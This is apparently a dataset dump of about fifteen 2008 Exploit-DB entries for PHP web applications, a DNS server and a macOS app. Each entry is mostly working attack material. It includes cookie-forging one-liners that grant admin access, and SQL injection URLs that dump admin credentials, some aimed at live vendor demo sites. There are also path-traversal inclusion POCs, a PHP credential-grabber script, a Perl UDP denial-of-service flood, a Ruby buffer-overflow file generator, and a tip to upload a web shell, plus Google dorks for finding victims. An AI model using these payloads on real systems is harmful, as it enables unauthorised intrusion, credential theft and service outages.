QLWD/code_shield huggingface dataset:
标题: Maian Uploader 4.0 - Insecure Cookie Handling EDB-ID: 6065 CVE: 2008-3321 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+         Maian Uploader <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Uploader v4.0



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Uploader suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "uploader_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+         Maian Uploader <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6065
标题: Maian Links 3.1 - Insecure Cookie Handling EDB-ID: 6062 CVE: 2008-3319 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+            Maian Links <= v3.1 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Links v3.1



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Links suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "links_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+            Maian Links <= v3.1 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6062
标题: Maian Recipe 1.2 - Insecure Cookie Handling EDB-ID: 6063 CVE: 2008-3322 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+           Maian Recipe <= v1.2 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Recipe v1.2



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Recipe suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "recipe_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+           Maian Recipe <= v1.2 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6063
标题: Pluck CMS 4.5.1 (Windows) - 'blogpost' Local File Inclusion EDB-ID: 6074 CVE: 2008-3194 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-14 漏洞利用脚本: ########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Pluck Local File inclusion
# Vendor: http://www.pluck-cms.org
# Bug: Local File Inclusion
# Vulnerable Version: 4.5.1 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
###################################################################


####################
- Description:
####################

Pluck is a content management system, written in php.


####################
- Vulnerability:
####################

+--> Local File Inclusion

Input passed to multiple parameters in "predefined_variables.php" are not properly verified 
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
/data/inc/themes/predefined_variables.php #line:15-38

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif ($blogpost) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }


POC: http://localhost/pluck-4_5_1/data/inc/themes/predefined_variables.php?blogpost=../../../../../../../../boot.ini

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz

# milw0rm.com [2008-07-14] URL: https://www.exploit-db.com/exploits/6074
标题: Scripteen Free Image Hosting Script 1.2 - 'cookie' Pass Grabber EDB-ID: 6070 CVE: 2008-3212 2008-3211 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: <?php
/*
Coded By RMx - Liz0zim
BiyoSecurity.Com & Coderx.org
Ki zava Ki Zava :)
Thanx : Crackers_Child - TR_IP - Volqan - All SQL Low3rz
*/
error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$desen='|value="(.*)"|siU';

function yolla($host,$paket)
{
global $veri;
$ac=fsockopen(gethostbyname($host),80);
if (!$ac) {
echo 'Unable to connect to server '.$host.':80'; exit;//BaÄŸlanamaz ise
}
fputs($ac,$paket);
$veri="";
    while (!feof($ac)) {
      $veri.=fread($ac,1);
 
  }
  fclose($ac);
}
?>
<h2>Scripteen Free Image Hosting Script V1.2.* (cookie) Admin Password Grabber Exploit</h2>
<p>Coded By RMx - Liz0ziM</p>
<p>Web:<a href="http://www.biyosecurity.com" target="_blank">www.biyosecurity.com</a> </p>
<p>Dork:"Powered by Scripteen Free Image Hosting Script V1.2"</p>
<form method="POST" action="">
<p>TARGET HOST:
  <input name="host" type="text" />
  Example:<strong>www.xxxx.com</strong></p>
<p>TARGET PATH:   <input name="klasor" type="text" />
Example:<strong>/</strong> or <strong>/scriptpath/</strong> </p>
<p><input name="yolla" type="submit" value="Send" /></p>
</form><br />
<? if($_POST[yolla]){
$host=$_POST[host];
$klasor=$_POST[klasor];
$admin=$_POST[admin];
$p=$klasor."admin/settings.php";
echo '<font color="red"><b>Sending Exploit..</b></font><br>';
$packet ="GET ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cookid=1\r\n";
$packet.="Connection: Close\r\n\r\n";
yolla($host,$packet);
preg_match_all($desen,$veri,$cik);
$ad=$cik[1][0];
$sifre=$cik[1][1];
if($ad AND $sifre){
echo '
<font color="green">Exploit succeeded...</font ><br>
Admin Username:<b>'.$ad.'</b><br>
Admin Password:<b>'.$sifre.'</b><br>';
}
else
{
echo '<font color="red">Exploit Failed !</font>';
}
}

?>

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6070
标题: Simple DNS Plus 5.0/4.1 - Remote Denial of Service EDB-ID: 6059 CVE: 2008-3208 类型: DOS 平台: WINDOWS 发布日期: 2008-07-13 漏洞利用脚本: #!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
# Exploit written by Exodus.
# http://www.blackhat.org.il
 
use IO::Socket;
 
if(@ARGV < 3){
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server");
 
 
 
$address = $ARGV[0];
 
$trans = pack("H4","1337");
$flags = pack("B16","1000010110110000");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN
 
@parts = split(/\./,$address);
foreach $part (@parts)
{
 $packedlen = pack("H2",sprintf("%02x",length($part)));
 $address2 .= $packedlen.$part;
}
$query = $address2. "\000" . $type . $class;
 
$aname = pack("H4","c00c");
$atype = pack("H4","0001");
$aclass = pack("H4","0001");
$ttl = pack("H8","0000008d");
$dlen = pack("H4","0004");
$addr = inet_aton("127.0.0.1");
$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;
 
$payload = $trans . $flags . $question . $answerRR
. $authorityRR . $additionlRR . $query . $answer;
 
print "sending $ARGV[2] packetsâ€¦ ";
for($i=0;$i<=$ARGV[2];$i++)
{
 print $sock $payload;
}
print "Done. Good bye.";
__END__ 

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6059
标题: Maian Guestbook 3.2 - Insecure Cookie Handling EDB-ID: 6061 CVE: 2008-3320 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+          Maian Guestbook <= 3.2 Insecure Cookie Handling Vulnerability         +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by Maian Guestbook v3.2



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Guestbook suffers from a insecure cookie, the admin panel only checks if the

cookie exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "gbook_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+          Maian Guestbook <= 3.2 Insecure Cookie Handling Vulnerability         +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6061
标题: jsite 1.0 oe - SQL Injection / Local File Inclusion EDB-ID: 6057 CVE: 2008-7301 2008-3193 2008-3192 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-12 漏洞利用脚本: --==+================================================================================+==--
--==+              jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility                 +==--
--==+================================================================================+==--

-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=[ SQL Injection Exploit ]=-=-=-=-=-=-=-=-=-=-=-=-

AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.sclek.com/jsite.zip

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by jSite 1.0 OE"

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It & Login ;)

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/?page=-1/**/union/**/select/**/1,2,3,concat_ws

(0x3a,user,pass),admin/**/from/**/jsite_users/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:

1 Week Off & I Be Back :D ;)

Admin Login Is At /admin/

U Can Upload Your Shell When U Login Successfully
From This Link: www.site.com/admin/index.php?menu=uploads
& Your Shell Will Be Appear Here: www.site.com/uploads/[file].php

-=-=-=-=-=-=--=-=-=-=-=-=-=-[ Local File Inclusion ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Exploit:

 www.[target].com/Script/index.php?module=[LFI]


--==+================================================================================+==--
--==+              jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2008-07-12] URL: https://www.exploit-db.com/exploits/6057
标题: Avlc Forum - 'vlc_forum.php' SQL Injection EDB-ID: 6058 CVE: 2008-3200 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-12 漏洞利用脚本: ====================================================================
  Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 12 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Avlc Forum
 VERSION     : N/A
 VENDOR      : N/A
 DOWNLOAD    : http://www.easy-script.com/compt.php?id=2147
#####################################################

-- Remote SQL Injection ---

---------------------------------
 Vulnerable File [vlc_forum.php]
---------------------------------

@Line

   141:  $sql = "SELECT * FROM vlc_forum WHERE id=$id OR re=$id";
   142:  $req = mysql_query($sql) or die('Erreur SQL !'.$sql.'<br>' . mysql_error());


-------------
 POC Exploit
-------------

[+] http://[Target]/[avlc_path]/vlc_forum.php?action=affich_message&id=-999999/**/UNION/**/SELECT/**/1,user,3,4,5,6,7,8,9/**/FROM/**/mysql.user--


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-07-12] URL: https://www.exploit-db.com/exploits/6058
标题: Maian Greetings 2.1 - Insecure Cookie Handling EDB-ID: 6050 CVE: 2008-7086 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-12 漏洞利用脚本: Author: Saime
Date: July 12, 2008
Script: Maian Greetings v2.1 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Powered by: Maian Greetings v2.1

Description:
Maian Greetings v2.1 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mecard_admin_cookie,
equals admin username.

Exploit:
javascript:document.cookie = "mecard_admin_cookie=admin; path=/php/demos/greetings/admin/"

# milw0rm.com [2008-07-12] URL: https://www.exploit-db.com/exploits/6050
标题: WebCMS Portal Edition - 'id' SQL Injection EDB-ID: 6056 CVE: 2008-3213 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-12 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL InjEcti0n Vulnerability
##
## WebCMS Portal ( index.php menu )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##  Name : WebCMS Portal
##
##  Site : www.webcms.es
##
########################
########################
##
## -((:: L!VE DEMO ::))-
##
## http://www.webcms.es/demos/portal/index.php?menu=tablon&apartado=ver_anuncio&id=-43+union+select+0,0,0,concat_ws(0x3a,login,password,email),0,0,0,0,0,0,0,0+from+usuarios/*
##
########################
########################
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-12] URL: https://www.exploit-db.com/exploits/6056
标题: Million Pixels 3 - 'id_cat' SQL Injection EDB-ID: 6044 CVE: 2008-4055 2008-3204 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-11 漏洞利用脚本: #################################################################
#
#   Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability
#
#========================================================
#                                                       =
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#                                                       =
#========================================================
#     
# script : http://e-topbiz.com/oprema/pages/millionpixels3.php
#
# DorK  :  inurl: "tops_top.php? id_cat ="     
#################################################################

Exploit:  


www.[target].com/Script/tops_top.php?id_cat=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*




L!VE DEMO:


http://e-topbiz.com/trafficdemos/pixel3/tops_top.php?id_cat=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*




########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-11] URL: https://www.exploit-db.com/exploits/6044
标题: DreamPics Builder - 'page' SQL Injection EDB-ID: 6034 CVE: 2008-3119 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-09 漏洞利用脚本: #########################################################
#
#     PICS BUILDER (page) SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#=========================================================    
#
#    script :  http://www.dreamlevels.com/dreampics.php
#
#    DorK   :   powered by Dreampics Builder
#     
##########################################################

Exploit: 

www.[target].com/Script/?page=-2+union+select+null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null+from+users--


L!VE DEMO:

http://www.dreamlevels.com/demo/photosite/?page=-2+union+select+null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null+from+users--


Admin Login :

/admin/

########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-09] URL: https://www.exploit-db.com/exploits/6034
标题: Core Image Fun House 2.0 (OSX) - Arbitrary Code Execution (PoC) EDB-ID: 6043 CVE: 2008-2304 类型: DOS 平台: OSX 发布日期: 2008-07-11 漏洞利用脚本: #!/usr/bin/ruby
# Copyright (c) Netragard, LLC. adriel@netragard.com
#
# /Developer/Applications/Graphics Tools/Core Image Fun House.app
# /Contents/MacOS/Core Image Fun House
#
# (gdb) x/10s 0xbfffddf7
# 0xbfffddf7:      'Z' <repeats 101 times>, "DCBA center"
#
# 2007-07-10 21:15:34.573 Core Image Fun House[1061] CFLog (0):
#        CFPropertyListCreateFromXMLData(): plist parse failed;
#        the data is notproper UTF-8. The file name for this data
#        could be:
$
#        /Users/test/Desktop/SuperTastey.funhouse/file.xml
#        The parser will retry as in 10.2, but the problem should be
#         corrected in the plist.
#
#  \x80-\xFF range that do not form proper utf8

len = 300
fname = "SuperTastey"
retaddr = 0x0d0d0d0d  # There are lots of filtered chars!

if File.exist?(fname + ".funhouse/file.xml")
    File.unlink(fname + ".funhouse/file.xml")
    Dir.rmdir(fname + ".funhouse")
end
Dir.mkdir(fname + ".funhouse")

FUNSTUFF =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\"
\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">" +
"<plist version=\"1.0\">" +
"<dict>" +
"<key>layers</key>" +
"<array>" +
"<dict>" +
"<key>file</key>" +
"<string>" +
"Z" * len + [retaddr].pack("V") +
"</string>" +
"<key>offsetX</key>" +
"<real>0.0</real>" +
"<key>offsetY</key>" +
"<real>0.0</real>" +
"<key>type</key>" +
"<string>image</string>" +
"</dict>" +
"<dict>" +
"<key>classname</key>" +
"<string>CIGlassDistortion</string>" +
"<key>type</key>" +
"<string>filter</string>" +
"<key>values</key>" +
"<dict>" +
"<key>inputCenter_CIVectorValue</key>" +
"<string>[150 150]</string>" +
"<key>inputScale</key>" +
"<real>200</real>" +
"<key>inputTexture</key>" +
"<string>" +
"Z" * 50000 +
"</string>" +
"</dict>" +
"</dict>" +
"</array>" +
"</dict>" +
"</plist>" + "\n"

target_file = File.open("SuperTastey.funhouse/file.xml", "w+") { |f|
~  f.print(FUNSTUFF)  # weeeeee... lets have fun.
~  f.close
} 

# milw0rm.com [2008-07-11] URL: https://www.exploit-db.com/exploits/6043
标题: phpDatingClub 3.7 - 'website.php' Local File Inclusion EDB-ID: 6037 CVE: 2008-3179 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: #########################################################
#
#     phpDatingClub Local File Include Vulnerability
#========================================================
#                            =
#    Author: Big Ben                                    =
#                                                       =
#========================================================
#
#    script :  http://www.w2b.ru/download/phpDatingClub.zip
#
#    DorK   :   Powered by phpDatingClub
#     
##########################################################
#
# Exploit:
#
# www.[target].com/Script/website.php?page=[LFI]
#
##########################################################

# milw0rm.com [2008-07-10] URL: https://www.exploit-db.com/exploits/6037